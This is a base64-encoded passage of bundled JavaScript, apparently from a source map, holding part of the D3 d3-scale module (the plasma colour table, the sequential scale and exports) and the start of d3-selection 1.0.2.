NTJlZTdiNTFlZjdjNTFlZjdlNTBmMDdmNGZmMDgwNGVmMTgxNGRmMTgzNGNmMjg0NGJmMzg1NGJmMzg3NGFmNDg4NDlmNDg5NDhmNThiNDdmNThjNDZmNjhkNDVmNjhmNDRmNzkwNDRmNzkxNDNmNzkzNDJmODk0NDFmODk1NDBmOTk3M2ZmOTk4M2VmOTlhM2VmYTliM2RmYTljM2NmYTllM2JmYjlmM2FmYmExMzlmYmEyMzhmY2EzMzhmY2E1MzdmY2E2MzZmY2E4MzVmY2E5MzRmZGFiMzNmZGFjMzNmZGFlMzJmZGFmMzFmZGIxMzBmZGIyMmZmZGI0MmZmZGI1MmVmZWI3MmRmZWI4MmNmZWJhMmNmZWJiMmJmZWJkMmFmZWJlMmFmZWMwMjlmZGMyMjlmZGMzMjhmZGM1MjdmZGM2MjdmZGM4MjdmZGNhMjZmZGNiMjZmY2NkMjVmY2NlMjVmY2QwMjVmY2QyMjVmYmQzMjRmYmQ1MjRmYmQ3MjRmYWQ4MjRmYWRhMjRmOWRjMjRmOWRkMjVmOGRmMjVmOGUxMjVmN2UyMjVmN2U0MjVmNmU2MjZmNmU4MjZmNWU5MjZmNWViMjdmNGVkMjdmM2VlMjdmM2YwMjdmMmYyMjdmMWY0MjZmMWY1MjVmMGY3MjRmMGY5MjFcIikpO1xuXG4gIGZ1bmN0aW9uIHNlcXVlbnRpYWwoaW50ZXJwb2xhdG9yKSB7XG4gICAgdmFyIHgwID0gMCxcbiAgICAgICAgeDEgPSAxLFxuICAgICAgICBjbGFtcCA9IGZhbHNlO1xuXG4gICAgZnVuY3Rpb24gc2NhbGUoeCkge1xuICAgICAgdmFyIHQgPSAoeCAtIHgwKSAvICh4MSAtIHgwKTtcbiAgICAgIHJldHVybiBpbnRlcnBvbGF0b3IoY2xhbXAgPyBNYXRoLm1heCgwLCBNYXRoLm1pbigxLCB0KSkgOiB0KTtcbiAgICB9XG5cbiAgICBzY2FsZS5kb21haW4gPSBmdW5jdGlvbihfKSB7XG4gICAgICByZXR1cm4gYXJndW1lbnRzLmxlbmd0aCA/ICh4MCA9ICtfWzBdLCB4MSA9ICtfWzFdLCBzY2FsZSkgOiBbeDAsIHgxXTtcbiAgICB9O1xuXG4gICAgc2NhbGUuY2xhbXAgPSBmdW5jdGlvbihfKSB7XG4gICAgICByZXR1cm4gYXJndW1lbnRzLmxlbmd0aCA/IChjbGFtcCA9ICEhXywgc2NhbGUpIDogY2xhbXA7XG4gICAgfTtcblxuICAgIHNjYWxlLmludGVycG9sYXRvciA9IGZ1bmN0aW9uKF8pIHtcbiAgICAgIHJldHVybiBhcmd1bWVudHMubGVuZ3RoID8gKGludGVycG9sYXRvciA9IF8sIHNjYWxlKSA6IGludGVycG9sYXRvcjtcbiAgICB9O1xuXG4gICAgc2NhbGUuY29weSA9IGZ1bmN0aW9uKCkge1xuICAgICAgcmV0dXJuIHNlcXVlbnRpYWwoaW50ZXJwb2xhdG9yKS5kb21haW4oW3gwLCB4MV0pLmNsYW1wKGNsYW1wKTtcbiAgICB9O1xuXG4gICAgcmV0dXJuIGxpbmVhcmlzaChzY2FsZSk7XG4gIH1cblxuICBleHBvcnRzLnNjYWxlQmFuZCA9IGJhbmQ7XG4gIGV4cG9ydHMuc2NhbGVQb2ludCA9IHBvaW50O1xuICBleHBvcnRzLnNjYWxlSWRlbnRpdHkgPSBpZGVudGl0eTtcbiAgZXhwb3J0cy5zY2FsZUxpbmVhciA9IGxpbmVhcjtcbiAgZXhwb3J0cy5zY2FsZUxvZyA9IGxvZztcbiAgZXhwb3J0cy5zY2FsZU9yZGluYWwgPSBvcmRpbmFsO1xuICBleHBvcnRzLnNjYWxlSW1wbGljaXQgPSBpbXBsaWNpdDtcbiAgZXhwb3J0cy5zY2FsZVBvdyA9IHBvdztcbiAgZXhwb3J0cy5zY2FsZVNxcnQgPSBzcXJ0O1xuICBleHBvcnRzLnNjYWxlUXVhbnRpbGUgPSBxdWFudGlsZSQxO1xuICBleHBvcnRzLnNjYWxlUXVhbnRpemUgPSBxdWFudGl6ZTtcbiAgZXhwb3J0cy5zY2FsZVRocmVzaG9sZCA9IHRocmVzaG9sZDtcbiAgZXhwb3J0cy5zY2FsZVRpbWUgPSB0aW1lO1xuICBleHBvcnRzLnNjYWxlVXRjID0gdXRjVGltZTtcbiAgZXhwb3J0cy5zY2hlbWVDYXRlZ29yeTEwID0gY2F0ZWdvcnkxMDtcbiAgZXhwb3J0cy5zY2hlbWVDYXRlZ29yeTIwYiA9IGNhdGVnb3J5MjBiO1xuICBleHBvcnRzLnNjaGVtZUNhdGVnb3J5MjBjID0gY2F0ZWdvcnkyMGM7XG4gIGV4cG9ydHMuc2NoZW1lQ2F0ZWdvcnkyMCA9IGNhdGVnb3J5MjA7XG4gIGV4cG9ydHMuaW50ZXJwb2xhdGVDdWJlaGVsaXhEZWZhdWx0ID0gY3ViZWhlbGl4JDE7XG4gIGV4cG9ydHMuaW50ZXJwb2xhdGVSYWluYm93ID0gcmFpbmJvdyQxO1xuICBleHBvcnRzLmludGVycG9sYXRlV2FybSA9IHdhcm07XG4gIGV4cG9ydHMuaW50ZXJwb2xhdGVDb29sID0gY29vbDtcbiAgZXhwb3J0cy5pbnRlcnBvbGF0ZVZpcmlkaXMgPSB2aXJpZGlzO1xuICBleHBvcnRzLmludGVycG9sYXRlTWFnbWEgPSBtYWdtYTtcbiAgZXhwb3J0cy5pbnRlcnBvbGF0ZUluZmVybm8gPSBpbmZlcm5vO1xuICBleHBvcnRzLmludGVycG9sYXRlUGxhc21hID0gcGxhc21hO1xuICBleHBvcnRzLnNjYWxlU2VxdWVudGlhbCA9IHNlcXVlbnRpYWw7XG5cbiAgT2JqZWN0LmRlZmluZVByb3BlcnR5KGV4cG9ydHMsICdfX2VzTW9kdWxlJywgeyB2YWx1ZTogdHJ1ZSB9KTtcblxufSkpOyIsIi8vIGh0dHBzOi8vZDNqcy5vcmcvZDMtc2VsZWN0aW9uLyBWZXJzaW9uIDEuMC4yLiBDb3B5cmlnaHQgMjAxNiBNaWtlIEJvc3RvY2suXG4oZnVuY3Rpb24gKGdsb2JhbCwgZmFjdG9yeSkge1xuICB0eXBlb2YgZXhwb3J0cyA9PT0gJ29iamVjdCcgJiYgdHlwZW9mIG1vZHVsZSAhPT0gJ3VuZGVmaW5lZCcgPyBmYWN0b3J5KGV4cG9ydHMpIDpcbiAgdHlwZW9mIGRlZmluZSA9PT0gJ2Z1bmN0aW9uJyAmJiBkZWZpbmUuYW1kID8gZGVmaW5lKFsnZXhwb3J0cyddLCBmYWN0b3J5KSA6XG4gIChmYWN0b3J5KChnbG9iYWwuZDMgPSBnbG9iYWwuZDMgfHwge30pKSk7XG59KHRoaXMsIGZ1bmN0aW9uIChleHBvcnRzKSB7ICd1c2Ugc3RyaWN0JztcblxuICB2YXIgeGh0bWwgPSBcImh0dHA6Ly93d3cudzMub3JnLzE5OTkveGh0bWxcIjtcblxuICB2YXIgbmFtZXNwYWNlcyA9IHtcbiAgICBzdmc6IFwiaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmdcIixcbiAgICB4aHRtbDogeGh0bWwsXG4gICAgeGxpbms6IFwiaHR0cDovL3d3dy53My5vcmcvMTk5OS94bGlua1wiLFxuICAgIHhtbDogXCJodHRwOi8vd3d3LnczLm9yZy9YTUwvMTk5OC9uYW1lc3BhY2VcIixcbiAgICB4bWxuczogXCJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3htbG5zL1wiXG4gIH07XG5cbiAgZnVuY3Rpb24gbmFtZXNwYWNlKG5hbWUpIHtcbiAgICB2YXIgcHJlZml4ID0gbmFtZSArPSBcIlwiLCBpID0gcHJlZml4LmluZGV4T2YoXCI6XCIpO1xuICAgIGlmIChpID49IDAgJiYgKHByZWZpeCA9IG5hbWUuc2xpY2UoMCwgaSkpICE9PSBcInhtbG5zXCIpIG5hbWUgPSBuYW1lLnNsaWNlKGkgKyAxKTtcbiAgICByZXR1cm4gbmFtZXNwYWNlcy5oYXNPd25Qcm9wZXJ0eShwcmVmaXgpID8ge3NwYWNlOiBuYW1lc3BhY2VzW3ByZWZpeF0sIGxvY2FsOiBuYW1lfSA6IG5hbWU7XG4gIH1cblxuICBmdW5jdGlvbiBjcmVhdG9ySW5oZXJpdChuYW1lKSB7XG4gICAgcmV0dXJuIGZ1bmN0aW9uKCkge1xuICAgICAgdmFyIGRvY3VtZW50ID0gdGhpcy5vd25lckRvY3VtZW50LFxuICAgICAgICAgIHVyaSA9IHRoaXMubmFtZXNwYWNlVVJJO1xuICAgICAgcmV0dXJuIHVyaSA9PT0geGh0bWwgJiYgZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50Lm5hbWVzcGFjZVVSSSA9PT0geGh0bWxcbiAgICAgICAgICA/IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQobmFtZSlcbiAgICAgICAgICA6IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnROUyh1cmksIG5hbWUpO1xuICAgIH07XG4gIH1cblxuICBmdW5jdGlvbiBjcmVhdG9yRml4ZWQoZnVsbG5hbWUpIHtcbiAgICByZXR1cm4gZnVuY3Rpb24oKSB7XG4gICAgICByZXR1cm4gdGhpcy5vd25lckRvY3VtZW50LmNyZWF0ZUVsZW1lbnROUyhmdWxsbmFtZS5zcGFjZSwgZnVsbG5hbWUubG9jYWwpO1xuICAgIH07XG4gIH1cblxuICBmdW5jdGlvbiBjcmVhdG9yKG5hbWUpIHtcbiAgICB2YXIgZnVsbG5hbWUgPSBuYW1lc3BhY2UobmFtZSk7XG4gICAgcmV0dXJuIChmdWxsbmFtZS5sb2NhbFxuICAgICAgICA/IGNyZWF0b3JGaXhlZFxuICAgICAgICA6IGNyZWF0b3JJbmhlcml0KShmdWxsbmFtZSk7XG4gIH1cblxuICB2YXIgbmV4dElkID0gMDtcblxuICBmdW5jdGlvbiBsb2NhbCgpIHtcbiAgICByZXR1cm4gbmV3IExvY2FsO1xuICB9XG5cbiAgZnVuY3Rpb24gTG9jYWwoKSB7XG4gICAgdGhpcy5fID0gXCJAXCIgKyAoKytuZXh0SWQpLnRvU3RyaW5nKDM2KTtcbiAgfVxuXG4gIExvY2FsLnByb3RvdHlwZSA9IGxvY2FsLnByb3RvdHlwZSA9IHtcbiAgICBjb25zdHJ1Y3RvcjogTG9jYWwsXG4gICAgZ2V0OiBmdW5jdGlvbihub2RlKSB7XG4gICAgICB2YXIgaWQgPSB0aGlzLl87XG4gICAgICB3aGlsZSAoIShpZCBpbiBub2RlKSkgaWYgKCEobm9kZSA9IG5vZGUucGFyZW50Tm9kZSkpIHJldHVybjtcbiAgICAgIHJldHVybiBub2RlW2lkXTtcbiAgICB9LFxuICAgIHNldDogZnVuY3Rpb24obm9kZSwgdmFsdWUpIHtcbiAgICAgIHJldHVybiBub2RlW3RoaXMuX10gPSB2YWx1ZTtcbiAgICB9LFxuICAgIHJlbW92ZTogZnVuY3Rpb24obm9kZSkge1xuICAgICAgcmV0dXJuIHRoaXMuXyBpbiBub2RlICYmIGRlbGV0ZSBub2RlW3RoaXMuX107XG4gICAgfSxcbiAgICB0b1N0cmluZzogZnVuY3Rpb24oKSB7XG4gICAgICByZXR1cm4gdGhpcy5fO1xuICAgIH1cbiAgfTtcblxuICB2YXIgbWF0Y2hlciA9IGZ1bmN0aW9uKHNlbGVjdG9yKSB7XG4gICAgcmV0dXJuIGZ1bmN0aW9uKCkge1xuICAgICAgcmV0dXJuIHRoaXMubWF0Y2hlcyhzZWxlY3Rvcik7XG4gICAgfTtcbiAgfTtcblxuICBpZiAodHlwZW9mIGRvY3VtZW50ICE9PSBcInVuZGVmaW5lZFwiKSB7XG4gICAgdmFyIGVsZW1lbnQgPSBkb2N1bWVudC5kb2N1bWVudEVsZW1lbnQ7XG4gICAgaWYgKCFlbGVtZW50Lm1hdGNoZXMpIHtcbiAgICAgIHZhciB2ZW5kb3JNYXRjaGVzID0gZWxlbWVudC53ZWJraXRNYXRjaGVzU2VsZWN0b3JcbiAgICAgICAgICB8fCBlbGVtZW50Lm1zTWF0Y2hlc1NlbGVjdG9yXG4gICAgICAgICAgfHwgZWxlbWVudC5tb3pNYXRjaGVzU2VsZWN0b3JcbiAgICAgICAgICB8fCBlbGVtZW50Lm9NYXRjaGVzU2VsZWN0b3I7XG4gICAgICBtYXRjaGVyID0gZnVuY3Rpb24oc2VsZWN0b3IpIHtcbiAgICAgICAgcmV0dXJuIGZ1bmN0aW9uKCkge1xuICAgICAgICAgIHJldHVybiB2ZW5kb3JNYXRjaGVzLmNhbGwodGhpcywgc2VsZWN0b3IpO1xuICAgICAgICB9O1xuICAgICAgfTtcbiAgICB9XG4gIH1cblxuICB2YXIgbWF0Y2hlciQxID0gbWF0Y2hlcjtcblxuICB2YXIgZmlsdGVyRXZlbnRzID0ge307XG5cbiAgZXhwb3J0cy5ldmVudCA9IG51bGw7XG5cbiAgaWYgKHR5cGVvZiBkb2N1bWVudCAhPT0gXCJ1bmRlZmluZWRcIikge1xuICAgIHZhciBlbGVtZW50JDEgPSBkb2N1bWVudC5kb2N1bWVudEVsZW1lbnQ7XG4gICAgaWYgKCEoXCJvbm1vdXNlZW50ZXJcIiBpbiBlbGVtZW50JDEpKSB7XG4gICAgICBmaWx0ZXJFdmVudHMgPSB7bW91c2VlbnRlcjogXCJtb3VzZW92ZXJcIiwgbW91c2VsZWF2ZTogXCJtb3VzZW91dFwifTtcbiAgICB9XG4gIH1cblxuICBmdW5jdGlvbiBmaWx0ZXJDb250ZXh0TGlzdGVuZXIobGlzdGVuZXIsIGluZGV4LCBncm91cCkge1xuICAgIGxpc3RlbmVyID0gY29udGV4dExpc3RlbmVyKGxpc3RlbmVyLCBpbmRleCwgZ3JvdXApO1xuICAgIHJldHVybiBmdW5jdGlvbihldmVudCkge1xuICAgICAgdmFyIHJlbGF0ZWQgPSBldmVudC5yZWxhdGVkVGFyZ2V0O1xuICAgICAgaWYgKCFyZWxhdGVkIHx8IChyZWxhdGVkICE9PSB0aGlzICYmICEocmVsYXRlZC5jb21wYXJlRG9jdW1lbnRQb3NpdGlvbih0aGlzKSAmIDgpKSkge1xuICAgICAgICBsaXN0ZW5lci5jYWxsKHRoaXMsIGV2ZW50KTtcbiAgICAgIH1cbiAgICB9O1xuICB9XG5cbiAgZnVuY3Rpb24gY29udGV4dExpc3RlbmVyKGxpc3RlbmVyLCBpbmRleCwgZ3JvdXApIHtcbiAgICByZXR1cm4gZnVuY3Rpb24oZXZlbnQxKSB7XG4gICAgICB2YXIgZXZlbnQwID0gZXhwb3J0cy5ldmVudDsgLy8gRXZlbnRzIGNhbiBiZSByZWVudHJhbnQgKGUuZy4sIGZvY3VzKS5cbiAgICAgIGV4cG9ydHMuZXZlbnQgPSBldmVudDE7XG4gICAgICB0cnkge1xuICAgICAgICBsaXN0ZW5lci5jYWxsKHRoaXMsIHRoaXMuX19kYXRhX18sIGluZGV4LCBncm91cCk7XG4gICAgICB9IGZpbmFsbHkge1xuICAgICAgICBleHBvcnRzLmV2ZW50ID0gZXZlbnQwO1xuICAgICAgfVxuICAgIH07XG4gIH1cblxuICBmdW5jdGlvbiBwYXJzZVR5cGVuYW1lcyh0eXBlbmFtZXMpIHtcbiAgICByZXR1cm4gdHlwZW5hbWVzLnRyaW0oKS5zcGxpdCgvXnxcXHMrLykubWFwKGZ1bmN0aW9uKHQpIHtcbiAgICAgIHZhciBuYW1lID0gXCJcIiwgaSA9IHQuaW5kZXhPZihcIi5cIik7XG4gICAgICBpZiAoaSA+PSAwKSBuYW1lID0gdC5zbGljZShpICsgMSksIHQgPSB0LnNsaWNlKDAsIGkpO1xuICAgICAgcmV0dXJuIHt0eXBlOiB0LCBuYW1lOiBuYW1lfTtcbiAgICB9KTtcbiAgfVxuXG4gIGZ1bmN0aW9uIG9uUmVtb3ZlKHR5cGVuYW1lKSB7XG4gICAgcmV0dXJuIGZ1bmN0aW9uKCkge1xuICAgICAgdmFyIG9uID0gdGhpcy5fX29uO1xuICAgICAgaWYgKCFvbikgcmV0dXJuO1xuICAgICAgZm9yICh2YXIgaiA9IDAsIGkgPSAtMSwgbSA9IG9uLmxlbmd0aCwgbzsgaiA8IG07ICsraikge1xuICAgICAgICBpZiAobyA9IG9uW2pdLCAoIXR5cGVuYW1lLnR5cGUgfHwgby50eXBlID09PSB0eXBlbmFtZS50eXBlKSAmJiBvLm5hbWUgPT09IHR5cGVuYW1lLm5hbWUpIHtcbiAgICAgICAgICB0aGlzLnJlbW92ZUV2ZW50TGlzdGVuZXIoby50eXBlLCBvLmxpc3RlbmVyLCBvLmNhcHR1cmUpO1xuICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgIG9uWysraV0gPSBvO1xuICAgICAgICB9XG4gICAgICB9XG4gICAgICBpZiAoKytpKSBvbi5sZW5ndGggPSBpO1xuICAgICAgZWxzZSBkZWxldGUgdGhpcy5fX29uO1xuICAgIH07XG4gIH1cblxuICBmdW5jdGlvbiBvbkFkZCh0eXBlbmFtZSwgdmFsdWUsIGNhcHR1cmUpIHtcbiAgICB2YXIgd3JhcCA9IGZpbHRlckV2ZW50cy5oYXNPd25Qcm9wZXJ0eSh0eXBlbmFtZS50eXBlKSA/IGZpbHRlckNvbnRleHRMaXN0ZW5lciA6IGNvbnRleHRMaXN0ZW5lcjtcbiAgICByZXR1cm4gZnVuY3Rpb24oZCwgaSwgZ3JvdXApIHtcbiAgICAgIHZhciBvbiA9IHRoaXMuX19vbiwgbywgbGlzdGVuZXIgPSB3cmFwKHZhbHVlLCBpLCBncm91cCk7XG4gICAgICBpZiAob24pIGZvciAodmFyIGogPSAwLCBtID0gb24ubGVuZ3RoOyBqIDwgbTsgKytqKSB7XG4gICAgICAgIGlmICgobyA9IG9uW2pdKS50eXBlID09PSB0eXBlbmFtZS50eXBlICYmIG8ubmFtZSA9PT0gdHlwZW5hbWUubmFtZSkge1xuICAgICAgICAgIHRoaXMucmVtb3ZlRXZlbnRMaXN0ZW5lcihvLnR5cGUsIG8ubGlzdGVuZXIsIG8uY2FwdHVyZSk7XG4gICAgICAgICAgdGhpcy5hZGRFdmVudExpc3RlbmVyKG8udHlwZSwgby5saXN0ZW5lciA9IGxpc3RlbmVyLCBvLmNhcHR1cmUgPSBjYXB0dXJlKTtcbiAgICAgICAgICBvLnZhbHVlID0gdmFsdWU7XG4gICAgICAgICAgcmV0dXJuO1xuICAgICAgICB9XG4gICAgICB9XG4gICAgICB0aGlzLmFkZEV2ZW50TGlzdGVuZXIodHlwZW5hbWUudHlwZSwgbGlzdGVuZXIsIGNhcHR1cmUpO1xuICAgICAgbyA9IHt0eXBlOiB0eXBlbmFtZS50eXBlLCBuYW1lOiB0eXBlbmFtZS5uYW1lLCB2YWx1ZTogdmFsdWUsIGxpc3RlbmVyOiBsaXN0ZW5lciwgY2FwdHVyZTogY2FwdHVyZX07XG4gICAgICBpZiAoIW9uKSB0aGlzLl9fb24gPSBbb107XG4gICAgICBlbHNlIG9uLnB1c2gobyk7XG4gICAgfTtcbiAgfVxuXG4gIGZ1bmN0aW9uIHNlbGVjdGlvbl9vbih0eXBlbmFtZSwgdmFsdWUsIGNhcHR1cmUpIHtcbiAgICB2YXIgdHlwZW5hbWVzID0gcGFyc2VUeXBlbmFtZXModHlwZW5hbWUgKyBcIlwiKSwgaSwgbiA9IHR5cGVuYW1lcy5sZW5ndGgsIHQ7XG5cbiAgICBpZiAoYXJndW1lbnRzLmxlbmd0aCA8IDIpIHtcbiAgICAgIHZhciBvbiA9IHRoaXMubm9kZSgpLl9fb247XG4gICAgICBpZiAob24pIGZvciAodmFyIGogPSAwLCBtID0gb24ubGVuZ3RoLCBvOyBqIDwgbTsgKytqKSB7XG4gICAgICAgIGZvciAoaSA9IDAsIG8gPSBvbltqXTsgaSA8IG47ICsraSkge1xuICAgICAgICAgIGlmICgodCA9IHR5cGVuYW1lc1tpXSkudHlwZSA9PT0gby50eXBlICYmIHQubmFtZSA9PT0gby5uYW1lKSB7XG4gICAgICAgICAgICByZXR1cm4gby52YWx1ZTtcbiAgICAgICAgICB9XG4gICAgICAgIH1cbiAgICAgIH1cbiAgICAgIHJldHVybjtcbiAgICB9XG5cbiAgICBvbiA9IHZhbHVlID8gb25BZGQgOiBvblJlbW92ZTtcbiAgICBpZiAoY2FwdHVyZSA9PSBudWxsKSBjYXB0dXJlID0gZmFsc2U7XG4gICAgZm9yIChpID0gMDsgaSA8IG47ICsraSkgdGhpcy5lYWNoKG9uKHR5cGVuYW1lc1tpXSwgdmFsdWUsIGNhcHR1cmUpKTtcbiAgICByZXR1cm4gdGhpcztcbiAgfVxuXG4gIGZ1bmN0aW9uIGN1c3RvbUV2ZW50KGV2ZW50MSwgbGlzdGVuZXIsIHRoYXQsIGFyZ3MpIHtcbiAgICB2YXIgZXZlbnQwID0gZXhwb3J0cy5ldmVudDtcbiAgICBldmVudDEuc291cmNlRXZlbnQgPSBleHBvcnRzLmV2ZW50O1xuICAgIGV4cG9ydHMuZXZlbnQgPSBldmVudDE7XG4gICAgdHJ5IHtcbiAgICAgIHJldHVybiBsaXN0ZW5lci5hcHBseSh0aGF0LCBhcmdzKTtcbiAgICB9IGZpbmFsbHkge1xuICAgICAgZXhwb3J0cy5ldmVudCA9IGV2ZW50MDtcbiAgICB9XG4gIH1cblxuICBmdW5jdGlvbiBzb3VyY2VFdmVudCgpIHtcbiAgICB2YXIgY3VycmVudCA9IGV4cG9ydHMuZXZlbnQsIHNvdXJjZTtcbiAgICB3aGlsZSAoc291cmNlID0gY3VycmVudC5zb3VyY2VFdmVudCkgY3VycmVudCA9IHNvdXJjZTtcbiAgICByZXR1cm4gY3VycmVudDtcbiAgfVxuXG4gIGZ1bmN0aW9uIHBvaW50KG5vZGUsIGV2ZW50KSB7XG4gICAgdmFyIHN2ZyA9IG5vZGUub3duZXJTVkdFbGVtZW50IHx8IG5vZGU7XG5cbiAgICBpZiAoc3ZnLmNyZWF0ZVNWR1BvaW50KSB7XG4gICAgICB2YXIgcG9pbnQgPSBzdmcuY3JlYXRlU1ZHUG9pbnQoKTtcbiAgICAgIHBvaW50LnggPSBldmVudC5jbGllbnRYLCBwb2ludC55ID0gZXZlbnQuY2xpZW50WTtcbiAgICAgIHBvaW50ID0gcG9pbnQubWF0cml4VHJhbnNmb3JtKG5vZGUuZ2V0U2NyZWVuQ1RNKCkuaW52ZXJzZSgpKTtcbiAgICAgIHJldHVybiBbcG9pbnQueCwgcG9pbnQueV07XG4gICAgfVxuXG4gICAgdmFyIHJlY3QgPSBub2RlLmdldEJvdW5kaW5nQ2xpZW50UmVjdCgpO1xuICAgIHJldHVybiBbZXZlbnQuY2xpZW50WCAtIHJlY3QubGVmdCAtIG5vZGUuY2xpZW50TGVmdCwgZXZlbnQuY2xpZW50WSAtIHJlY3QudG9wIC0gbm9kZS5jbGllbnRUb3BdO1xuICB9XG5cbiAgZnVuY3Rpb24gbW91c2Uobm9kZSkge1xuICAgIHZhciBldmVudCA9IHNvdXJjZUV2ZW50KCk7XG4gICAgaWYgKGV2ZW50LmNoYW5nZWRUb3VjaGVzKSBldmVudCA9IGV2ZW50LmNoYW5nZWRUb3VjaGVzWzBdO1xuICAgIHJldHVybiBwb2ludChub2RlLCBldmVudCk7XG4gIH1cblxuICBmdW5jdGlvbiBub25lKCkge31cblxuICBmdW5jdGlvbiBzZWxlY3RvcihzZWxlY3Rvcikge1xuICAgIHJldHVybiBzZWxlY3RvciA9PSBudWxsID8gbm9uZSA6IGZ1bmN0aW9uKCkge1xuICAgICAgcmV0dXJuIHRoaXMucXVlcnlTZWxlY3RvcihzZWxlY3Rvcik7XG4gICAgfTtcbiAgfVxuXG4gIGZ1bmN0aW9uIHNlbGVjdGlvbl9zZWxlY3Qoc2VsZWN0KSB7XG4gICAgaWYgKHR5cGVvZiBzZWxlY3QgIT09IFwiZnVuY3Rpb25cIikgc2VsZWN0ID0gc2VsZWN0b3Ioc2VsZWN0KTtcblxuICAgIGZvciAodmFyIGdyb3VwcyA9IHRoaXMuX2dyb3VwcywgbSA9IGdyb3Vwcy5sZW5ndGgsIHN1Ymdyb3VwcyA9IG5ldyBBcnJheShtKSwgaiA9IDA7IGogPCBtOyArK2opIHtcbiAgICAgIGZvciAodmFyIGdyb3VwID0gZ3JvdXBzW2pdLCBuID0gZ3JvdXAubGVuZ3RoLCBzdWJncm91cCA9IHN1Ymdyb3Vwc1tqXSA9IG5ldyBBcnJheShuKSwgbm9kZSwgc3Vibm9kZSwgaSA9IDA7IGkgPCBuOyArK2kpIHtcbiAgICAgICAgaWYgKChub2RlID0gZ3JvdXBbaV0pICYmIChzdWJub2RlID0gc2VsZWN0LmNhbGwobm9kZSwgbm9kZS5fX2RhdGFfXywgaSwgZ3JvdXApKSkge1xuICAgICAgICAgIGlmIChcIl9fZGF0YV9fXCIgaW4gbm9kZSkgc3Vibm9kZS5fX2RhdGFfXyA9IG5vZGUuX19kYXRhX187XG4gICAgICAgICAgc3ViZ3JvdXBbaV0gPSBzdWJub2RlO1xuICAgICAgICB9XG4gICAgICB9XG4gICAgfVxuXG4gICAgcmV0dXJuIG5ldyBTZWxlY3Rpb24oc3ViZ3JvdXBzLCB0aGlzLl9wYXJlbnRzKTtcbiAgfVxuXG4gIGZ1bmN0aW9uIGVtcHR5KCkge1xuICAgIHJldHVybiBbXTtcbiAgfVxuXG4gIGZ1bmN0aW9uIHNlbGVjdG9yQWxsKHNlbGVjdG9yKSB7XG4gICAgcmV0dXJuIHNlbGVjdG9yID09IG51bGwgPyBlbXB0eSA6IGZ1bmN0aW9uKCkge1xuICAgICAgcmV0dXJuIHRoaXMucXVlcnlTZWxlY3RvckFsbChzZWxlY3Rvcik7XG4gICAgfTtcbiAgfVxuXG4gIGZ1bmN0aW9uIHNlbGVjdGlvbl9zZWxlY3RBbGwoc2VsZWN0KSB7XG4gICAgaWYgKHR5cGVvZiBzZWxlY3QgIT09IFwiZnVuY3Rpb25cIikgc2VsZWN0ID0gc2VsZWN0b3JBbGwoc2VsZWN0KTtcblxuICAgIGZvciAodmFyIGdyb3VwcyA9IHRoaXMuX2dyb3VwcywgbSA9IGdyb3Vwcy5sZW5ndGgsIHN1Ymdyb3VwcyA9IFtdLCBwYXJlbnRzID0gW10sIGogPSAwOyBqIDwgbTsgKytqKSB7XG4gICAgICBmb3IgKHZhciBncm91cCA9IGdyb3Vwc1tqXSwgbiA9IGdyb3VwLmxlbmd0aCwgbm9kZSwgaSA9IDA7IGkgPCBuOyArK2kpIHtcbiAgICAgICAgaWYgKG5vZGUgPSBncm91cFtpXSkge1xuICAgICAgICAgIHN1Ymdyb3Vwcy5wdXNoKHNlbGVjdC5jYWxsKG5vZGUsIG5vZGUuX19kYXRhX18sIGksIGdyb3VwKSk7XG4gICAgICAgICAgcGFyZW50cy5wdXNoKG5vZGUpO1xuICAgICAgICB9XG4gICAgICB9XG4gICAgfVxuXG4gICAgcmV0dXJuIG5ldyBTZWxlY3Rpb24oc3ViZ3JvdXBzLCBwYXJlbnRzKTtcbiAgfVxuXG4gIGZ1bmN0aW9uIHNlbGVjdGlvbl9maWx0ZXIobWF0Y2gpIHtcbiAgICBpZiAodHlwZW9mIG1hdGNoICE9PSBcImZ1bmN0aW9uXCIpIG1hdGNoID0gbWF0Y2hlciQxKG1hdGNoKTtcblxuICAgIGZvciAodmFyIGdyb3VwcyA9IHRoaXMuX2dyb3VwcywgbSA9IGdyb3Vwcy5sZW5ndGgsIHN1Ymdyb3VwcyA9IG5ldyBBcnJheShtKSwgaiA9IDA7IGogPCBtOyArK2opIHtcbiAgICAgIGZvciAodmFyIGdyb3VwID0gZ3JvdXBzW2pdLCBuID0gZ3JvdXAubGVuZ3RoLCBzdWJncm91cCA9IHN1Ymdyb3Vwc1tqXSA9IFtdLCBub2RlLCBpID0gMDsgaSA8IG47ICsraSkge1xuICAgICAgICBpZiAoKG5vZGUgPSBncm91cFtpXSkgJiYgbWF0Y2guY2FsbChub2RlLCBub2RlLl9fZGF0YV9fLCBpLCBncm91cCkpIHtcbiAgICAgICAgICBzdWJncm91cC5wdXNoKG5vZGUpO1xuICAgICAgICB9XG4gICAgICB9XG4gICAgfVxuXG4gICAgcmV0dXJuIG5ldyBTZWxlY3Rpb24oc3ViZ3JvdXBzLCB0aGlzLl9wYXJlbnRzKTtcbiAgfVxuXG4gIGZ1bmN0aW9uIHNwYXJzZSh1cGRhdGUpIHtcbiAgICByZXR1cm4gbmV3IEFycmF5KHVwZGF0ZS5sZW5ndGgpO1xuICB9XG5cbiAgZnVuY3Rpb24gc2VsZWN0aW9uX2VudGVyKCkge1xuICAgIHJldHVybiBuZXcgU2VsZWN0aW9uKHRoaXMuX2VudGVyIHx8IHRoaXMuX2dyb3Vwcy5tYXAoc3BhcnNlKSwgdGhpcy5fcGFyZW50cyk7XG4gIH1cblxuICBmdW5jdGlvbiBFbnRlck5vZGUocGFyZW50LCBkYXR1bSkge1xuICAgIHRoaXMub3duZXJEb2N1bWVudCA9IHBhcmVudC5vd25lckRvY3VtZW50O1xuICAgIHRoaXMubmFtZXNwYWNlVVJJID0gcGFyZW50Lm5hbWVzcGFjZVVSSTtcbiAgICB0aGlzLl9uZXh0ID0gbnVsbDtcbiAgICB0aGlzLl9wYXJlbnQgPSBwYXJlbnQ7XG4gICAgdGhpcy5fX2RhdGFfXyA9IGRhdHVtO1xuICB9XG5cbiAgRW50ZXJOb2RlLnByb3RvdHlwZSA9IHtcbiAgICBjb25zdHJ1Y3RvcjogRW50ZXJOb2RlLFxuICAgIGFwcGVuZENoaWxkOiBmdW5jdGlvbihjaGlsZCkgeyByZXR1cm4gdGhpcy5fcGFyZW50Lmluc2VydEJlZm9yZShjaG